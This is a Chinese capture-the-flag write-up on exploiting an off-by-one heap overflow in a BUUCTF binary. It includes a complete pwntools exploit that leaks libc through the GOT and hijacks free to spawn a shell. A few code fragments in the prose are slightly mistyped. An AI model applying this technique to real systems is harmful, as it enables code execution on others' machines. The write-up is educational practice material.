堆中of_by_one
介紹:
- 嚴格來說 off-by-one 漏洞是一種特殊的溢出漏洞,off-by-one 指程序向緩沖區中寫入時,寫入的字節數超過了這個緩沖區本身所申請的字節數并且只越界了一個字節。
- 溢出字節為可控制任意字節 :通過修改大小(size字段值)造成塊結構之間出現重疊,從而泄露其他塊數據,或是覆蓋其他塊數據。
例題:
題目:BUUCTF在線評測 (buuoj.cn)
-
先看一下create函數創建出來的heap結構:
-
delete函數中將heap指針清0了,所以不能利用UAF:
-
但是在edit函數中,存在of_by_one漏洞,會多接受一個輸入,可以利用著來覆蓋下一個chunk的size大小,從而實現chunk的覆蓋:
利用:
-
首先我們申請的長度要恰好到下一個chunk的size字段,所以必須將下一個chunk的prev_size字段沾滿,不能留空隙,所以申請的大小必須為0x10的整數倍+8:
這種情況才能占滿(將下一個chunk的prev_size字段占滿,才能順利覆蓋到后面的size字段):
-
先申請兩個大小為0x18的heap:
add(24,b'a') #0 add(24,b'b') #1
-
再編輯chunk0,利用of_by_one漏洞,覆蓋掉chunk1的size字段,大小最少要為0x:
edit(0,B'/bin/sh\x00'+ b"\x00"*16+b'\x41')
-
再釋放掉chunk1,此時就能得到一個0x40和一個0x10的fastbin:
-
此時再申請一個大小為0x30的chunk2,就會將fastbins[0x40]分配給我們(但是實際的大小只有0x18,但是寫入的大小就是0x30了),可以導致chunk之間的覆蓋(變向堆溢出)。但是如何填充數據泄漏libc地址呢?,需要使用到show函數,并且利用前面造成的堆溢出將content地址改為函數的got表地址(這里以free函數為例):
add(0x30,b"A"*16 + p64(0)*+p64(0x21)+p64(0x30)+p64(elf.got["free"])) #2
調用show函數輸出chunk2就能泄漏libc地址,再計算活得system的地址:
printf(1) p.recvuntil(b"Content : ") addr = u64(p.recv(6).ljust(8,b'\x00')) print(hex(addr)) libc_base = addr - 0x844f0 sys_addr = libc_base + 0x45390 sh_addr = libc_base + 0x18cd17 log.success("libc_addr==>"+hex(libc_base)) log.success("system_addr==>"+hex(sys_addr)) log.success("bin_sh_addr==>"+hex(sh_addr))
-
最后利用edit(2),將free函數的got表中的數據修改為system的地址,即可完成對free函數的挾持,前面再第一次溢出在content處時填入的"/bin/sh"其地址就會作為free函數的參數(system(“/bin/sh”)):
edit(1,p64(sys_addr))
-
最后free(0)即可拿到flag。EXP:
from pwn import * from LibcSearcher import * # 設置系統架構, 打印調試信息 # arch 可選 : i386 / amd64 / arm / mips context(os='linux', arch='amd64', log_level='debug')# p = remote("node5.buuoj.cn",25567) p = process("./pwn") libc = ELF('./libc-2.23.so') elf = ELF("./pwn") n2b = lambda x : str(x).encode() rv = lambda x : p.recv(x) ru = lambda s : p.recvuntil(s) sd = lambda s : p.send(s) sl = lambda s : p.sendline(s) sn = lambda s : sl(n2b(n)) sa = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia = lambda : p.interactive() rop = lambda r : flat([p64(x) for x in r]) def add(size,content):sla(b'Your choice :','1')sla(':',str(size))sla(':',content)def edit(idx, content):sla(':','2')sla('Index :',str(idx))# sla(':',str(len(content)))sa(b':',content)def printf(index):p.sendlineafter(b'Your choice :',b'3')p.sendlineafter(b'Index :',str(index).encode())def free(idx):sla(':','4')sla(':',str(idx))add(24,b'a') #0 add(24,b'b') #1 edit(0,B'/bin/sh\x00'+ b"\x00"*16+b'\x41') free(1) add(0x30,b"A"*8 + p64(0)*2+p64(0x21)+p64(0x30)+p64(elf.got["free"])) #2printf(1) p.recvuntil(b"Content : ") addr = u64(p.recv(6).ljust(8,b'\x00')) print(hex(addr))libc_base = addr - 0x844f0 sys_addr = libc_base + 0x45390 sh_addr = libc_base + 0x18cd17 log.success("libc_addr==>"+hex(libc_base)) log.success("system_addr==>"+hex(sys_addr)) log.success("bin_sh_addr==>"+hex(sh_addr))edit(1,p64(sys_addr)) free(0)p.interactive()